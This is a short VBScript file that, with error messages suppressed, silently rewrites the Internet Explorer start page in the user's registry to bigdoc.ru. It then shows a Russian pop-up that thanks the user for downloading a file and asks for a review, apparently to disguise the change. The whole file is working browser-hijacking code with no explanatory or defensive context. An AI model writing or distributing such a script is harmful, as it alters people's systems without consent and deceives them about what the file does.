On error resume next
main()

sub main()
On error resume next
Set WshShell = WScript.createobject("Wscript.Shell")
WshShell.Regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page","bigdoc.ru"
msgbox("Скачали файл, напишите свой отзыв")
end sub